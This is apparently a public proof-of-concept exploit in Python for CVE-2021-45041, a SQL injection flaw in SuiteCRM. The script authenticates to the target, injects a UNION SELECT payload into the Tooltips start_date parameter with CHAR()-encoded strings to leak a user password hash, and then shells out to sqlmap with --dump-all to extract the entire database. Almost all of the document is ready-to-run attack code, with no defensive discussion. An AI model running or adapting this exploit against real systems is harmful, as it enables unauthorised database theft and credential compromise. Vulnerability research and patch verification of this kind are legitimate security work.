README.md
Rendering markdown...
#!/usr/bin/env python3
import requests
from bs4 import BeautifulSoup
import click
from re import findall
from os import system
from urllib.parse import urlencode
from shlex import quote
import logging
logging.basicConfig(level=logging.INFO)
logger = logging.getLogger("CVE-2021-45041")
def prepare_injection(injection: str) -> str:
matches = findall("'(\w+)'", injection)
for match in matches:
chars = ",".join([f"CHAR({ord(c)})" for c in match])
output = f"CONCAT({chars})"
injection = injection.replace(f"'{match}'", output)
return injection
def map_idx_to_column(value: str) -> str:
injection = prepare_injection("SELECT user_hash from users limit 1")
if value == 5:
return f"({injection})"
return f"{value}"
def prepare_sqlmap_command(host: str, query_params: dict, cookies: dict,
dbms: str, col_count: int) -> str:
host = quote(host)
dbms = quote(dbms)
query_params = urlencode(query_params).replace('%2A', '*')
cookies = "; ".join([str(x) + "=" + str(y) for x, y in cookies.items()])
return f"sqlmap -u '{host}/index.php?{query_params}' --headers 'Cookie: {cookies}' --technique U --dbms {dbms} --union-cols={col_count} --batch --dump-all"
@click.command("CVE-2021-45041",
epilog="https://github.com/manuelz120/CVE-2021-45041")
@click.option(
"--host",
'-h',
default="http://localhost",
help="Root of SuiteCRM installation. Defaults to http://localhost")
@click.option("--username", '-u', prompt="Username> ", help="Username")
@click.option("--password",
'-p',
prompt="Password> ",
help="password",
hide_input=True)
@click.option("--col_count",
'-c',
default=44,
help="Number of columns to use in union query. Defaults to 44")
@click.option("--dbms",
'-d',
default="mysql",
help="DBMs used by SuiteCRM. Defaults to mysql")
@click.option("--is_core",
'-d',
default=False,
help="SuiteCRM Core (>= 8.0.0). Defaults to False")
def main(host: str, username: str, password: str, col_count: int, dbms: str,
is_core: bool):
host = f"{host}/legacy" if is_core else host
session = requests.Session()
login_response = session.post(f'{host}/index.php',
data={
"module": "Users",
"action": "Authenticate",
"user_name": username,
"username_password": password,
})
if "&action=Login" in login_response.url:
logger.error(
"Login didn't work. Are you sure you specified the correct parameters?"
)
exit(-1)
logger.info(
f"Login did work - Trying to leak user hash to check if SuiteCRM is vulnerable"
)
union_cols = ", ".join(map(map_idx_to_column, range(col_count)))
payload = f') UNION SELECT {union_cols} from dual; #'
response = session.get(f'{host}/index.php',
params={
'module': 'Project',
'action': 'Tooltips',
'resource_id': 'test\\',
'start_date': payload
})
markup = BeautifulSoup(response.text, "html.parser")
output = markup.find_all('tr')[1].find_all('td')[1].text
logger.info(f"Received the following hash: {output}")
logger.info(
f"If this doesn't look like a password hash, the exploit might not work correctly"
)
sqlmap_command = prepare_sqlmap_command(
host, {
'module': 'Project',
'action': 'Tooltips',
'resource_id': 'test\\',
'start_date': ") *"
}, session.cookies, dbms, col_count)
logger.info(f"Launching sqlmap against target to get full DB dump")
logger.info(sqlmap_command)
system(sqlmap_command)
if __name__ == "__main__":
main()